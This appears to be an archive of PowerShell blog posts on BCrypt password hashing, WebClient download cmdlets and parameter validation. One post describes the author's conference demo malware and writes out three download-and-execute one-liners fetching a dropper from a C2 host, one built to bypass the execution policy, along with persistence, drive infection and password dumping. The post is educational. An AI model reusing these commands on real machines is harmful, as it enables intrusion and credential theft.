Password Hashing with BCrypt and PowerShell - Part 2
Welcome back. So last time we covered some basics on hashing passwords, this time we will get into some code.
What I like about BCrypt.Net, is that I don’t really need to think to hard about what I am trying to do; all of the hard work has been done for me. It provides us with basically every function we could possibly desire, more importantly, it provides more functions than we really need, to the extent that I feel it provides enough functions for you to make a very poor implementation if you so desired.
In the bCrypt .Net we have the following functions available to us, and in my PowerShell implementation, I have made some of these available to us. In case you wondered, here is the list of methods bCrypt.Net provides:
- GenerateSalt
- HashPassword
- HashString – Alias for HashPassword
- Verify
What is the verify method you ask? Well this is a very cool method. You provide the method a plain text string (someone’s password as input on a login form) and a hash. It will then go off and hash the input, and compare the two, returning true if they do. This method does all the work, it can find the workload factor, the salt and do all the comparisons. All so simple and easy.
So what do my CMDLet’s look like?
This is how I have defined by CMDLets:
- Get-BCryptSalt = GenerateSalt
- Get-BCryptHash = HashPassword
- Test-BCryptHash = Verify
Well let’s cover off how we make bCrypt available to powershell. Firstly we need to add the .net classes/types to the PowerShell environment using the add-type cmdlet. For example:
Add-Type -Path C:\files\bcrypt\BCrypt.Net.dll
Once that has been done, we can go ahead and use the cmdlets.
Here is our salt cmdlet:
And hashing cmdlet:
And the verify cmdlet:
So, lets talk a little about the simple code we are seeing. See the lines like "[bcrypt.net.bcrypt]::hashpassword($InputString, $WorkFactor)", well what we are doing here is calling the hashpassword method, from the class bcrypt, in the .net namespace bcrypt.net. This is simple, because the method is a static method for the class (if it wasn't, we would need an object instance).
Finally the module:
So let's look at some examples of how to use what we have learnt:
Password Hashing with BCrypt and PowerShell - Part 1
So I completed my posts on the SHA hashing work, and a few people have said they really enjoyed it, one person said he liked the work on hashing and was going to use the code for password storage. He got upset when he saw my very angry face, and to be honest, I probably overreacted, but with good reason.
Simply put, you shouldn’t be using SHA and MD5 for password storage, the time has come where it is too simple to build tables of plain text to hashes, allowing for simple lookup attacks against collected hashes. The typical response to this is through the use of salting, but that only buys you some time, and typically takes quite some work to implement. Some people will use a single salt for all their passwords, and this reduces the effectiveness of salting.
The issue with SHA and MD5 is they don’t take into account how powerful computer systems have become, we need to make use of an algorithm that causes a significant amount of computational work. What is even better is an algorithm that we could increase this amount of work as the years went by, keeping those pesky tables at bay!
Well before we talk about the algorithms, let’s talk about workload factors! A work load factor is simply the amount of work that will be done for the generation of a hash of a plaintext. Increase the workload factor and the computer needs to do more.
Here is an example. We have an algorithm that when we use a workload factor for 10, it takes 10 seconds to generate the hash of a plain text, if we knew there were 1000000 possible plain texts, then to generate all the plaintext to hash maps would take 10 million seconds or 155 days. If we up that workload factor to 1000, then it will take 1000 million seconds or 31 years!
So what hashing algorithms allow us to set the workload? Well, here is a two major ones:
- BCrypt
- PBKDF2
Both of these have a strong cryptographic heritage, both still use salting, they are well known and proven. Today, I am going to be using BCrypt, in particular the BCrypt.net, which is just a C# port of jBCrypt.
One final thing to point out, and this isn’t an algorithm design feature, more an implementation feature. A good implementation of a password hashing algorithm should allow us to have some users on one workload, and other users on another. A good implementation should allow us to have hashes of different workloads present in our system, without a huge effort to test a plain text against a hash. The BCrypt.net library outputs hashes of the following form:
$2a$10$GlCs1CH.75vYC69FY4OhSu8SyFY7HjEXg0eFw.DW.geFcgzJdACGy
I am not going to go into a full analysis of the string, but there is a few things to point out. The string will always start with $2a$, then the workload factor (here the default of 10), followed by another $, then the salt and the actual hash value. If I don’t specify a salt when generating a hash, the salt part of this string will change each time I call the hashing method!
Should we specify the salt? Should we specify the same salt for all users? The Answer is simply, no! If we do that, we can’t easily change it if needed, also, we are making things easier for the attackers. If we use the same salt, then if two users have the same password, they will have the same hash. Each user needs their own salt.
It should also be noted that the workload influences the salt, our workload defines the salt. If we want to be able to change the workload factor on the fly, we need independent salting. This is important to remember: Workload Factor makes salt which when combined with our input value becomes our hash value.
Let’s look at another example, here we are using unique salts, and a dynamic work load factor. To begin with, the workload factor is 5, Bob comes along, selecting a password of: “let me in”. The resulting hash is:
$2a$05$d5YcRI8p6XyG8jS3evIzPO81aNWDHMDqHW5Z.GjE.UI1AG8bWOxTe.
Now Alice comes along, she also uses the same password, her hash is:
$2a$05$5h7mDpuP2Zbutlw62CMgae98aPF/1yq3amz8bLrm1ILGXOw.vf5x6
The sysadmins then device to up the level of security, increasing the workload to 6. Even decides to use the same password, except this time, her hash is:
$2a$06$VJbcCHiU3tGIQNEL3MyKzeqTf2J6a50RaVaLcdKwwk7Xc7VzRR7la
as we can see, her workload factor has increased. Note at this point, we have bob and Alice still on a work load factor of 5, only eve is using a factor of 6! If we are smart, we can have these users’ password hashes residing side by side.
Well that is it for Part 1, see you next time in Part 2.
PowerShell Malware
I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.
Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.
Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.
I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.
The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.
One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.
So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…
Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.
In my presentation, the attacker tricked users into running one of three commands:
1.
@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
2.
@powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
3.
@powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"
The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.
The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.
The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.
So far, things are simple; now let us look at the dropper's code:
Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:
- 1. Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
- 2. Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
- 3. Imports the two scheduled tasks using schtasks.exe
- 4. Runs the two scheduled tasks using schtasks.exe
All very simple for a dropper script.
Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.
The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:
The invoke-candc.ps1 script performs the following steps:
- 1. Creates a file containing the running process and installed services, it then uploads this to the C2 server
- 2. Downloads a list of tasks to be completed from the C2 server
- 3. Reads a file containing the id numbers of previously run tasks
- 4. From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
- 5. It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file
Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:
- Download and upload files
- Download PwdumpX and other password dump tools
- Run PowerShell Scripts
As you can see, it is all very simple.
I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.
Accessing the Internet from PowerShell: Download Files Part 2
So, last time we looked at download a file, and looked at what a CMDLet to do this should look like.
And here it is:
Most of the layout of this CMDLet should be familiar to you. There is the comment based help, then the CMDLetBinding. We then have a list of parameters, URL is the only one which is mandatory, and the others are all optional. URL is also set to accept the value from the pipeline, this is the first step to meeting the first requirement of our CMDLet. The filename and directory parameters are for specifying the intended destination files name and location. Finally clobber is a switch, meaning it is either on or off. Clobber will be the way the user of the CMDLet tells it to overwrite files.
Next you will notice a Begin {} block of code. In here we are going to be creating the WebClient object and setting all of its options. Begin{} blocks will only get executed once, no matter how many items are passed in on the pipeline. Begin{} will occur before any input data is processed. End{} which isn’t used, is only executed once all the processing is completed.
A Process{} block is next. Process{} will be executed for every item passed in on the pipeline to the CMDLet. In this block we spend time working out the destination filename and path, then we will test to see if it exists. If the file already exists, then we can either, raise a warning that we are overwriting the file, or throw an error. This will be determined by the clobber parameter.
Finally we are going to write the full url and destination path to verbose output and download the file. We will throw any errors encountered back to the calling code.
Let’s look at how to use the cmdlet:
So, now you have it. You can download files.
Accessing the Internet from PowerShell: Download Files Part 1
Today we are going to download files from the internet, and other few places as a continuation of the series on the WebClient class in the .Net framework. The WebClient class has a method called DownloadFile, which as the name says, allows us to download files from many sources including HTTP, HTTPS, FTP and \\server\share locations. The aim will be by the end of this to have a CMDLet allowing us to download files from these various locations.
So, how does the DownloadFile method work? Here is an example:
The only issue with DownloadFile is that we need to specify a filename as the destination. This is something we will need to work around/with.
So if we wanted design a CMDLet around this, what should we consider? Firstly, let’s just ignore headers and encoding types and all that junk and assume we will handle that. What else is there? Well for a CMDLet that downloads files, we probably want to be able to use it in the pipeline, that is, I might want to pipe an array or list of URLs to that CMDLet and have it download them all. Next I don't want to have to specify the destination file name and folder all the time, but that doesn't mean I might not want to specify one or the other down the track. Finally, I hate downloading a file twice, or accidently overwriting a destination file. I want the CMDLet to not overwrite files unless I tell it to, and if it is, warn me about it.
So here are the requirements:
- · We want to be able to pipe URLs to the CMDLet so they can be downloaded
- · Destination filename optional. CMDLet to determine filename if none specified
- · Destination folder/directory optional. We might want to send a file to a different directory than the current working directory.
- · By default, do not overwrite files. If we tell the CMDLet to overwrite files, it should warn us
Well supporting the pipeline when writing a CMDLet is easy, we simply use the begin{} process {} end {} syntax. If we do things in a clever way, we should be able to reduce the amount of work we are doing for a large list of downloads.
The second requirement, optionally specifying the filename to download the file to...that can be a little more difficult! The trick is to have two parameters, filename and directory. Depending on what is or isn’t specified, we can do 4 different things.
- 1. If both are specified -> join the two together
- 2. If no filename or destination directory is specified -> the destination is the current directory (converted from .) joined with the "leaf" part of the URL
- 3. If no filename is specified, but a directory is -> the destination is the specified directory joined with the "leaf" part of the URL
- 4. If filename is specified but a directory is not -> The destination is the current directory (converted from .) joined with the specified filename
The final requirement, not overwriting files by default, is also pretty simple, we can test to see if a file exist, if it doesn't then we are ok to download the file to the destination, otherwise we need a switch parameter, something like -clobber, to tell the CMDLet if its ok to overwrite the file. If it’s not ok, we will throw an error, if it is, we will use the write-warning to make sure we know that a file is being overwritten.
We will look at the cmdlet, next time.
Advanced Parameter Validation (revisiting get-filehash)
I am currently working on the rebuild of my template for all of my PowerShell scripts, trying to do things "better" this time around. I have learnt a few things over the last hour, one of which I don't understand (but everything works if I do it, so I will keep doing it), and another I just had to write about.
What is the great new thing? Well I wish i had known about it earlier, its the advanced parmater validation features.
Let's take a look at the first few lines of the get-filehash (original article, update) method I wrote about previously.
Now, I removed the comment based help syntax for brevity, but it is a little long, and there is the annoying enum defining the valid hash values to deal with as well, and then the section validating the file is a path etc. What if we could clean this all up?
Lets see:
Its a lot cleaner!
What we have is a ValidateScript, which is performing a test-path on the input. I am using the -pathtype 'leaf' to ensure we are hashing a file, not a folder. Then we have a ValidateSet, here we are saying, lets confirm the value for that parameter is in this array.
If either of these validations fail, we will get an error message along the lines of:
Get-FileHash : Cannot validate argument on parameter 'File'. The "Test-Path $_ -PathType 'leaf'" validation script for
the argument with value "D:\WIP\powershell\FileHash\filehash.jljdklf" did not return true. Determine why the
validation script failed and then try the command again.
At line:1 char:20
+ Get-FileHash -File D:\WIP\powershell\FileHash\filehash.jljdklf
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [Get-FileHash], ParameterBindingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationError,Get-FileHash
Get-FileHash : Cannot validate argument on parameter 'File'. The "Test-Path $_ -PathType 'leaf'" validation script forthe argument with value "D:\WIP\powershell\FileHash\filehash.jljdklf" did not return true. Determine why thevalidation script failed and then try the command again.At line:1 char:20+ Get-FileHash -File D:\WIP\powershell\FileHash\filehash.jljdklf+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidData: (:) [Get-FileHash], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationError,Get-FileHash
Not bad is it?
Another option to check out is ValidateRange. As you can guess, it allows you to validate the parameter against a range. An example would be [ValidateRange(1,10)], which will validate the paramater to ensure it is between 1 and 10!
Here is the new get-filehash in full...
Accessing the Internet from PowerShell: Get-WebPage Part2
Welcome back.
So last time we looked at the get-webpage CMDLet, but first, you may notice that it is different from this version of this CMDLet to that I showed off at Infrastructure Saturday; your right, it has been updated. The update is to make supplying user-agent headers more easily.
Let’s go back to the get-externalip function we defined a few months ago. Previously it was:
Now if we make use of the cmdlet we just finished:
Pretty neat?
I will leave it here, explore the cmdlet on your own.
Accessing the Internet from PowerShell: Get-WebPage Part1
So last time we looked at accessing the web from PowerShell, we looked a simple function which returned our external IP address, we then used that function to make a script to automatically alert us when our external IP address changed. This was a pretty simple function and script, but I want to spend some time discussing some of this further and build a full CMDLet.
In later posts I want to discuss how I believe you should design your PowerShell code, including CMDLets, functions, scripts and modules, but I want to touch on some of this today.
In the get-externalip function, we have simply created the .Net framework webclient object, set up some headers, and the called the downloadstring method. This is fine for this simple script, but it isn't great design in the long term. What we need is a CMDLet that downloads a URL from the internet (or maybe a local source) and then make use of that CMDLet. The CMDLet should enable us to have a powerful framework where we can easily leverage all of the webclient class functionality, but in a refined and controlled PowerShell manner.
We should also ensure that we provide all the help and documentation with our CMDLets, so anyone can use them. For this we will use the PowerShell Comment Based Help Syntax, something that is an over looked part of PowerShell. Seriously, Microsoft should be encouraging more use of this, every language has something like similar to this, it’s not something special in PowerShell, but if every PowerShell developer used the comment based help syntax, the world would be a much better place.
Let’s take a look at a CMDLet that will get the HTML representation of a page, this CMDLet will also allow us to set things like the proxy server, headers, credentials for the remote page and the user agent!
The CMDLet below is based upon my Infrastructure Saturday 2012 presentation on PowerShell.
Whoa, quite a bit here, around 100 lines of code! Most of which though is documentation. As you can see, we have the start of the function definition, then the comment based help syntax. This syntax is providing documentation for the get-help CMDLet, including descriptions, parameters, inputs, outputs and examples.
Next we have the CMDLetBinding, we are not specifying anything extra here, just telling PowerShell that this is a CMDLet.
After this we have parameters, there all look pretty simple, only one is mandatory, URL. I have also specified types for all of the parameters. Whilst the specification of types is option, I am not doing this wherever possible, it reduces errors and provides very useful input validation.
Now we have the body of the CMDLet. As expected, we are making a new instance of the WebClient class. Then we have some if statements. If these optional parameters have been specified, then we need to set the various parts of the WebClient object.
I hard set the encoding, it makes things simple an easy.
We then create an object to hold the result, and within a try {} catch{} block will call download string. If we do catch any errors, simply throw them to the calling code. We don’t particularly care about handling errors here, the calling code should; however its crucial to handle errors in a controlled manner.
Finally return the resulting page.
Next time we will look at some examples and some further discussion of the code.